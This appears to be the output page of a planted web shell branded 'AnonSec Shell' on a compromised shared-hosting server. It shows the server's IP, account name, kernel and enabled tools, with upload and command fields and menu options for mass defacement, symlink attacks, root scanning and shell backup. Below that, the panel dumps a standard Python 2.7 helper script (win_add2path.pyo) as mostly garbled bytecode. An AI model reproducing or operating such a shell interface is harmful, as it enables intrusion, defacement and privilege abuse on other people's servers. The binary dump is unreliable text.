AnonSec Shell
Server IP : 162.213.251.212  /  Your IP : 18.224.56.35   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : allssztx ( 535)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/lib64/python2.7/Tools/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/root/lib64/python2.7/Tools/scripts/win_add2path.pyo
�
�fc@s}dZddlZddlZddlZddlZejZdZdZdZ	d�Z
d�Zedkrye�ndS(	sAdd Python to the search path on Windows

This is a simple script to add Python to the Windows search path. It
modifies the current user (HKCU) tree of the registry.

Copyright (c) 2008 by Christian Heimes <christian@cheimes.de>
Licensed to PSF under a Contributor Agreement.
i����NtEnvironmenttPATHu%PATH%c	
Csgtjjtjjtj��}tjj|d�}tjd}tt	d�rt	j
j|d�}tjj|d�}nd}t
jtt���}yt
j|t�d}Wntk
r�t}nX|g}xK|||fD]:}|r�||kr�tjj|�r�|j|�q�q�Wtjj|�}t
j|tdt
j|�||fSWdQXdS(NtScriptstAPPDATAt	USER_SITEs	%APPDATA%i(tostpathtdirnametnormpathtsyst
executabletjointenvironthasattrtsiteRtreplacetNonet_winregt	CreateKeytHKCUtENVtQueryValueExRtWindowsErrortDEFAULTtisdirtappendtpathsept
SetValueExt
REG_EXPAND_SZ(	t
pythonpathtscriptstappdatatuserpathtuserscriptstkeytenvpathtpathsR((s2/usr/lib64/python2.7/Tools/scripts/win_add2path.pytmodifys&!


	$cCs`t�\}}t|�dkr;dGHdj|d�GHndGHd|GHdGHtj|�GHdS(NisPath(s) added:s
sNo path was addeds
PATH is now:
%s
s	Expanded:(R%tlenRRtExpandEnvironmentStrings(R$R#((s2/usr/lib64/python2.7/Tools/scripts/win_add2path.pytmain-s	t__main__(
t__doc__R	RRRtHKEY_CURRENT_USERRRRRR%R(t__name__(((s2/usr/lib64/python2.7/Tools/scripts/win_add2path.pyt<module>s			

Anon7 - 2022
AnonSec Team